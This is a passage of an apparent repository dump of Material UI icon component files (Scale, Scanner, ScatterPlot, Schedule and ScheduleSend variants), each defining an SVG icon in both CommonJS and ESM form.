    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.87 4C17.5 5.19 15 6.12 12 6.12S6.5 5.19 5.13 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 11V8c4.56-.58 8-3.1 8-6H2c0 2.9 3.44 5.42 8 6v3c-3.68.73-8 3.61-8 11h6v-2H4.13c.93-6.83 6.65-7.2 7.87-7.2s6.94.37 7.87 7.2H16v2h6c0-7.39-4.32-10.27-8-11m4.87-7C17.5 5.19 15 6.12 12 6.12S6.5 5.19 5.13 4zM12 22c-1.1 0-2-.9-2-2 0-.55.22-1.05.59-1.41C11.39 17.79 16 16 16 16s-1.79 4.61-2.59 5.41c-.36.37-.86.59-1.41.59\"\n}, \"1\")], 'ScaleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScaleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.87 4C17.5 5.19 15 6.12 12 6.12S6.5 5.19 5.13 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 11V8c4.56-.58 8-3.1 8-6H2c0 2.9 3.44 5.42 8 6v3c-3.68.73-8 3.61-8 11h6v-2H4.13c.93-6.83 6.65-7.2 7.87-7.2s6.94.37 7.87 7.2H16v2h6c0-7.39-4.32-10.27-8-11m4.87-7C17.5 5.19 15 6.12 12 6.12S6.5 5.19 5.13 4zM12 22c-1.1 0-2-.9-2-2 0-.55.22-1.05.59-1.41C11.39 17.79 16 16 16 16s-1.79 4.61-2.59 5.41c-.36.37-.86.59-1.41.59\"\n}, \"1\")], 'ScaleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Scanner.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.8 10.7 4.2 5l-.7 1.9L17.6 12H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5.5c0-.8-.5-1.6-1.2-1.8M7 17H5v-2h2zm12 0H9v-2h10z\"\n}), 'Scanner');"
  },
  {
    "path": "packages/mui-icons-material/lib/Scanner.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.8 10.7 4.2 5l-.7 1.9L17.6 12H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5.5c0-.8-.5-1.6-1.2-1.8M7 17H5v-2h2zm12 0H9v-2h10z\"\n}), 'Scanner');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScannerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.8 10.7 4.2 5l-.7 1.9L17.6 12H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5.5c0-.8-.5-1.6-1.2-1.8M19 18H5v-4h14zM6 15h2v2H6zm4 0h8v2h-8z\"\n}), 'ScannerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScannerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.8 10.7 4.2 5l-.7 1.9L17.6 12H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5.5c0-.8-.5-1.6-1.2-1.8M19 18H5v-4h14zM6 15h2v2H6zm4 0h8v2h-8z\"\n}), 'ScannerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScannerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.8 10.7 5.15 5.35c-.52-.19-1.1.08-1.3.6-.19.53.08 1.11.6 1.3L17.6 12H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5.5c0-.8-.5-1.6-1.2-1.8M7 17H5v-2h2zm11 0h-8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'ScannerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScannerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.8 10.7 5.15 5.35c-.52-.19-1.1.08-1.3.6-.19.53.08 1.11.6 1.3L17.6 12H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5.5c0-.8-.5-1.6-1.2-1.8M7 17H5v-2h2zm11 0h-8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'ScannerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScannerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4.2 5-.7 1.9L17.6 12H3v8h18v-8.86zM7 17H5v-2h2zm12 0H9v-2h10z\"\n}), 'ScannerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScannerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4.2 5-.7 1.9L17.6 12H3v8h18v-8.86zM7 17H5v-2h2zm12 0H9v-2h10z\"\n}), 'ScannerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScannerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 14v4h14v-4zm3 3H6v-2h2zm10 0h-8v-2h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.8 10.7 4.2 5l-.7 1.9L17.6 12H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5.5c0-.8-.5-1.6-1.2-1.8M19 18H5v-4h14zM6 15h2v2H6zm4 0h8v2h-8z\"\n}, \"1\")], 'ScannerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScannerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 14v4h14v-4zm3 3H6v-2h2zm10 0h-8v-2h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.8 10.7 4.2 5l-.7 1.9L17.6 12H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5.5c0-.8-.5-1.6-1.2-1.8M19 18H5v-4h14zM6 15h2v2H6zm4 0h8v2h-8z\"\n}, \"1\")], 'ScannerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScatterPlot.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"14\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"6\",\n  r: \"3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.6\",\n  cy: \"17.6\",\n  r: \"3\"\n}, \"2\")], 'ScatterPlot');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScatterPlot.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"14\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"6\",\n  r: \"3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.6\",\n  cy: \"17.6\",\n  r: \"3\"\n}, \"2\")], 'ScatterPlot');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScatterPlotOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4-2c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m5.6 17.6c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'ScatterPlotOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScatterPlotOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m4-2c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m5.6 17.6c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'ScatterPlotOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScatterPlotRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"14\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"6\",\n  r: \"3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.6\",\n  cy: \"17.6\",\n  r: \"3\"\n}, \"2\")], 'ScatterPlotRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScatterPlotRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"14\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"6\",\n  r: \"3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.6\",\n  cy: \"17.6\",\n  r: \"3\"\n}, \"2\")], 'ScatterPlotRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScatterPlotSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"14\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"6\",\n  r: \"3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.6\",\n  cy: \"17.6\",\n  r: \"3\"\n}, \"2\")], 'ScatterPlotSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScatterPlotSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"14\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"6\",\n  r: \"3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.6\",\n  cy: \"17.6\",\n  r: \"3\"\n}, \"2\")], 'ScatterPlotSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScatterPlotTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"6\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.6\",\n  cy: \"17.6\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"14\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 10c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m8-10c0-2.21-1.79-4-4-4S7 3.79 7 6s1.79 4 4 4 4-1.79 4-4m-4 2c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m5.6 5.6c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"3\")], 'ScatterPlotTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScatterPlotTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"6\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.6\",\n  cy: \"17.6\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"14\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 10c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m8-10c0-2.21-1.79-4-4-4S7 3.79 7 6s1.79 4 4 4 4-1.79 4-4m-4 2c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m5.6 5.6c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"3\")], 'ScatterPlotTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Schedule.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 7H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}, \"1\")], 'Schedule');"
  },
  {
    "path": "packages/mui-icons-material/lib/Schedule.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 7H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}, \"1\")], 'Schedule');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}), 'ScheduleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}), 'ScheduleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m-.22-13h-.06c-.4 0-.72.32-.72.72v4.72c0 .35.18.68.49.86l4.15 2.49c.34.2.78.1.98-.24.21-.34.1-.79-.25-.99l-3.87-2.3V7.72c0-.4-.32-.72-.72-.72\"\n}), 'ScheduleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m-.22-13h-.06c-.4 0-.72.32-.72.72v4.72c0 .35.18.68.49.86l4.15 2.49c.34.2.78.1.98-.24.21-.34.1-.79-.25-.99l-3.87-2.3V7.72c0-.4-.32-.72-.72-.72\"\n}), 'ScheduleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleSend.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12.5H15v4l3 2 .75-1.23-2.25-1.52zM16 9 2 3v7l9 2-9 2v7l7.27-3.11C10.09 20.83 12.79 23 16 23c3.86 0 7-3.14 7-7s-3.14-7-7-7m0 12c-2.75 0-4.98-2.22-5-4.97v-.07c.02-2.74 2.25-4.97 5-4.97 2.76 0 5 2.24 5 5S18.76 21 16 21\"\n}), 'ScheduleSend');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleSend.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12.5H15v4l3 2 .75-1.23-2.25-1.52zM16 9 2 3v7l9 2-9 2v7l7.27-3.11C10.09 20.83 12.79 23 16 23c3.86 0 7-3.14 7-7s-3.14-7-7-7m0 12c-2.75 0-4.98-2.22-5-4.97v-.07c.02-2.74 2.25-4.97 5-4.97 2.76 0 5 2.24 5 5S18.76 21 16 21\"\n}), 'ScheduleSend');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleSendOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L16.5 17.2V14h1v2.79l1.85 1.85z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 12-6-1.5V7.01l8.87 3.74c.94-.47 2-.75 3.13-.75.1 0 .19.01.28.01L3 4v16l7-2.95V17c0-.8.14-1.56.39-2.28L5 16.99V13.5z\"\n}, \"1\")], 'ScheduleSendOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleSendOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L16.5 17.2V14h1v2.79l1.85 1.85z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 12-6-1.5V7.01l8.87 3.74c.94-.47 2-.75 3.13-.75.1 0 .19.01.28.01L3 4v16l7-2.95V17c0-.8.14-1.56.39-2.28L5 16.99V13.5z\"\n}, \"1\")], 'ScheduleSendOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleSendRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10c.1 0 .19.01.28.01L4.39 4.58C3.73 4.31 3 4.79 3 5.51v3.71c0 .46.31.86.76.97L11 12l-7.24 1.81c-.45.11-.76.51-.76.97v3.71c0 .72.73 1.2 1.39.92L10 17.05V17c0-3.86 3.14-7 7-7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.29 